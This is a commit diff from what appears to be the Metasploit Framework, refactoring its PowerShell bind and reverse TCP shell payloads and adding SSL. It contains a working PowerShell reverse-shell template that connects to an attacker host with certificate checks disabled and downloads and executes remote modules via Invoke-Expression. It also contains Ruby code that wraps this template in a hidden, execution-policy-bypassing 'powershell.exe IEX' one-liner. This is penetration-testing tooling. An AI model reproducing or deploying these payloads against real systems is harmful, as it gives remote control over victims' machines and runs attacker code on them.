Skip to content

Commit 5f39473

Browse files
author
HD Moore
committed
Lands rapid7#5327, SSL support + refactor for PowerShell
2 parents 9549d57 + 36aa136 commit 5f39473

File tree

6 files changed

+95
-124
lines changed

6 files changed

+95
-124
lines changed

data/exploits/powershell/powerfun.ps1

Lines changed: 20 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -10,8 +10,9 @@ function Get-Webclient
1010
function powerfun
1111
{
1212
Param(
13-
[String]$Command,
14-
[String]$Download
13+
[String]$Command,
14+
[String]$Sslcon,
15+
[String]$Download
1516
)
1617
Process {
1718
$modules = @(MODULES_REPLACE)
@@ -25,19 +26,33 @@ function powerfun
2526
{
2627
$client = New-Object System.Net.Sockets.TCPClient("LHOST_REPLACE",LPORT_REPLACE)
2728
}
29+
2830
$stream = $client.GetStream()
31+
32+
if ($Sslcon -eq "true")
33+
{
34+
$sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
35+
$sslStream.AuthenticateAsClient("LHOST_REPLACE")
36+
$stream = $sslStream
37+
}
38+
2939
[byte[]]$bytes = 0..255|%{0}
40+
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
41+
$stream.Write($sendbytes,0,$sendbytes.Length)
42+
3043
if ($Download -eq "true")
3144
{
45+
$sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
46+
$stream.Write($sendbytes,0,$sendbytes.Length)
3247
ForEach ($module in $modules)
3348
{
3449
(Get-Webclient).DownloadString($module)|Invoke-Expression
35-
}
50+
}
3651
}
37-
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
38-
$stream.Write($sendbytes,0,$sendbytes.Length)
52+
3953
$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
4054
$stream.Write($sendbytes,0,$sendbytes.Length)
55+
4156
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
4257
{
4358
$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
Lines changed: 51 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,51 @@
1+
# -*- coding: binary -*-
2+
3+
require 'msf/core'
4+
require 'msf/core/payload/windows'
5+
6+
module Msf
7+
8+
###
9+
#
10+
# Implements an overarching powershell payload generation module
11+
#
12+
###
13+
14+
module Payload::Windows::Powershell
15+
16+
def generate_powershell_code(conntype)
17+
lport = datastore['LPORT']
18+
lhost = datastore['LHOST']
19+
20+
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
21+
script_in = ""
22+
::File.open(template_path, "rb") do |fd|
23+
script_in << fd.read(fd.stat.size)
24+
end
25+
mods = ''
26+
27+
if conntype == "Bind"
28+
script_in << "\npowerfun -Command bind"
29+
elsif conntype == "Reverse"
30+
script_in << "\npowerfun -Command reverse -Sslcon true"
31+
end
32+
33+
if datastore['LOAD_MODULES']
34+
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
35+
mods_array.collect(&:strip)
36+
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
37+
mods_array.each {|m| vprint_good " #{m}"}
38+
mods = "\"#{mods_array.join("\",\n\"")}\""
39+
script_in << " -Download true\n"
40+
end
41+
42+
script_in.gsub!('MODULES_REPLACE', mods)
43+
script_in.gsub!('LPORT_REPLACE', lport.to_s)
44+
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
45+
46+
script = Rex::Powershell::Command.compress_script(script_in)
47+
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
48+
end
49+
end
50+
end
51+

modules/payloads/singles/cmd/windows/powershell_bind_tcp.rb

Lines changed: 5 additions & 28 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,16 @@
55

66
require 'msf/core'
77
require 'msf/base/sessions/powershell'
8+
require 'msf/core/payload/windows/powershell'
9+
require 'msf/core/handler/bind_tcp'
810

911
module Metasploit3
1012

11-
CachedSize = 1342
13+
CachedSize = 1510
1214

1315
include Msf::Payload::Single
1416
include Rex::Powershell::Command
17+
include Msf::Payload::Windows::Powershell
1518

1619
def initialize(info = {})
1720
super(merge_info(info,
@@ -45,33 +48,7 @@ def initialize(info = {})
4548
end
4649

4750
def generate
48-
lport = datastore['LPORT']
49-
lhost = datastore['LHOST']
50-
51-
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
52-
script_in = ""
53-
::File.open(template_path, "rb") do |fd|
54-
script_in << fd.read(fd.stat.size)
55-
end
56-
script_in << "\npowerfun -Command bind"
57-
58-
mods = ''
59-
60-
if datastore['LOAD_MODULES']
61-
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
62-
mods_array.collect(&:strip)
63-
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
64-
mods_array.each {|m| vprint_good " #{m}"}
65-
mods = "\"#{mods_array.join("\",\n\"")}\""
66-
script_in << " -Download true\n"
67-
end
68-
69-
script_in.gsub!('MODULES_REPLACE', mods)
70-
script_in.gsub!('LPORT_REPLACE', lport.to_s)
71-
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
72-
73-
script = Rex::Powershell::Command.compress_script(script_in)
74-
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
51+
generate_powershell_code("Bind")
7552
end
7653

7754
end

modules/payloads/singles/cmd/windows/powershell_reverse_tcp.rb

Lines changed: 6 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -5,13 +5,16 @@
55

66
require 'msf/core'
77
require 'msf/base/sessions/powershell'
8+
require 'msf/core/payload/windows/powershell'
9+
require 'msf/core/handler/reverse_tcp_ssl'
810

911
module Metasploit3
1012

11-
CachedSize = 1342
13+
CachedSize = 1518
1214

1315
include Msf::Payload::Single
1416
include Rex::Powershell::Command
17+
include Msf::Payload::Windows::Powershell
1518

1619
def initialize(info = {})
1720
super(merge_info(info,
@@ -29,7 +32,7 @@ def initialize(info = {})
2932
'License' => MSF_LICENSE,
3033
'Platform' => 'windows',
3134
'Arch' => ARCH_CMD,
32-
'Handler' => Msf::Handler::ReverseTcp,
35+
'Handler' => Msf::Handler::ReverseTcpSsl,
3336
'Session' => Msf::Sessions::PowerShell,
3437
'RequiredCmd' => 'generic',
3538
'Payload' =>
@@ -45,34 +48,7 @@ def initialize(info = {})
4548
end
4649

4750
def generate
48-
lport = datastore['LPORT']
49-
lhost = datastore['LHOST']
50-
51-
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
52-
script_in = ""
53-
::File.open(template_path, "rb") do |fd|
54-
script_in << fd.read(fd.stat.size)
55-
end
56-
57-
script_in << "\npowerfun -Command reverse"
58-
59-
mods = ''
60-
61-
if datastore['LOAD_MODULES']
62-
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
63-
mods_array.collect(&:strip)
64-
vprint_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
65-
mods_array.each {|m| vprint_good " #{m}"}
66-
mods = "\"#{mods_array.join("\",\n\"")}\""
67-
script_in << " -Download true\n"
68-
end
69-
70-
script_in.gsub!('MODULES_REPLACE', mods)
71-
script_in.gsub!('LPORT_REPLACE', lport.to_s)
72-
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
73-
74-
script = Rex::Powershell::Command.compress_script(script_in)
75-
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
51+
generate_powershell_code("Reverse")
7652
end
7753

7854
end

modules/payloads/singles/windows/powershell_bind_tcp.rb

Lines changed: 6 additions & 30 deletions
Original file line numberDiff line numberDiff line change
@@ -4,20 +4,23 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/handler/bind_tcp'
87
require 'msf/core/payload/windows/exec'
8+
require 'msf/core/payload/windows/powershell'
99
require 'msf/base/sessions/powershell'
10+
require 'msf/core/handler/bind_tcp'
11+
1012
###
1113
#
1214
# Extends the Exec payload to add a new user.
1315
#
1416
###
1517
module Metasploit3
1618

17-
CachedSize = 1543
19+
CachedSize = 1695
1820

1921
include Msf::Payload::Windows::Exec
2022
include Rex::Powershell::Command
23+
include Msf::Payload::Windows::Powershell
2124

2225
def initialize(info = {})
2326
super(update_info(info,
@@ -52,33 +55,6 @@ def initialize(info = {})
5255
# Override the exec command string
5356
#
5457
def command_string
55-
lport = datastore['LPORT']
56-
57-
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
58-
script_in = ""
59-
::File.open(template_path, "rb") do |fd|
60-
script_in << fd.read(fd.stat.size)
61-
end
62-
63-
script_in = File.read(template_path)
64-
script_in << "\npowerfun -Command bind"
65-
66-
mods = ''
67-
68-
if datastore['LOAD_MODULES']
69-
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
70-
mods_array.collect(&:strip)
71-
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
72-
mods_array.each {|m| vprint_good " #{m}"}
73-
mods = "\"#{mods_array.join("\",\n\"")}\""
74-
script_in << " -Download true\n"
75-
end
76-
77-
script_in.gsub!('MODULES_REPLACE', mods)
78-
script_in.gsub!('LPORT_REPLACE', lport.to_s)
79-
80-
script = Rex::Powershell::Command.compress_script(script_in)
81-
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
82-
58+
generate_powershell_code("Bind")
8359
end
8460
end

modules/payloads/singles/windows/powershell_reverse_tcp.rb

Lines changed: 7 additions & 31 deletions
Original file line numberDiff line numberDiff line change
@@ -4,19 +4,22 @@
44
##
55

66
require 'msf/core'
7-
require 'msf/core/handler/reverse_tcp'
87
require 'msf/core/payload/windows/exec'
8+
require 'msf/core/payload/windows/powershell'
99
require 'msf/base/sessions/powershell'
10+
require 'msf/core/handler/reverse_tcp_ssl'
11+
1012
###
1113
#
1214
# Extends the Exec payload to add a new user.
1315
#
1416
###
1517
module Metasploit3
1618

17-
CachedSize = 1527
19+
CachedSize = 1703
1820

1921
include Msf::Payload::Windows::Exec
22+
include Msf::Payload::Windows::Powershell
2023
include Rex::Powershell::Command
2124

2225
def initialize(info = {})
@@ -35,7 +38,7 @@ def initialize(info = {})
3538
'License' => MSF_LICENSE,
3639
'Platform' => 'win',
3740
'Arch' => ARCH_X86,
38-
'Handler' => Msf::Handler::ReverseTcp,
41+
'Handler' => Msf::Handler::ReverseTcpSsl,
3942
'Session' => Msf::Sessions::PowerShell,
4043
))
4144

@@ -52,33 +55,6 @@ def initialize(info = {})
5255
# Override the exec command string
5356
#
5457
def command_string
55-
lport = datastore['LPORT']
56-
lhost = datastore['LHOST']
57-
58-
template_path = ::File.join( Msf::Config.data_directory, 'exploits', 'powershell','powerfun.ps1')
59-
script_in = ""
60-
::File.open(template_path, "rb") do |fd|
61-
script_in << fd.read(fd.stat.size)
62-
end
63-
script_in << "\npowerfun -Command reverse"
64-
65-
mods = ''
66-
67-
if datastore['LOAD_MODULES']
68-
mods_array = datastore['LOAD_MODULES'].to_s.split(',')
69-
mods_array.collect(&:strip)
70-
print_status("Loading #{mods_array.count} modules into the interactive PowerShell session")
71-
mods_array.each {|m| vprint_good " #{m}"}
72-
mods = "\"#{mods_array.join("\",\n\"")}\""
73-
script_in << " -Download true\n"
74-
end
75-
76-
script_in.gsub!('MODULES_REPLACE', mods)
77-
script_in.gsub!('LPORT_REPLACE', lport.to_s)
78-
script_in.gsub!('LHOST_REPLACE', lhost.to_s)
79-
80-
script = Rex::Powershell::Command.compress_script(script_in)
81-
"powershell.exe -exec bypass -nop -W hidden -noninteractive IEX $(#{script})"
82-
58+
generate_powershell_code("Reverse")
8359
end
8460
end

0 commit comments

Comments
 (0)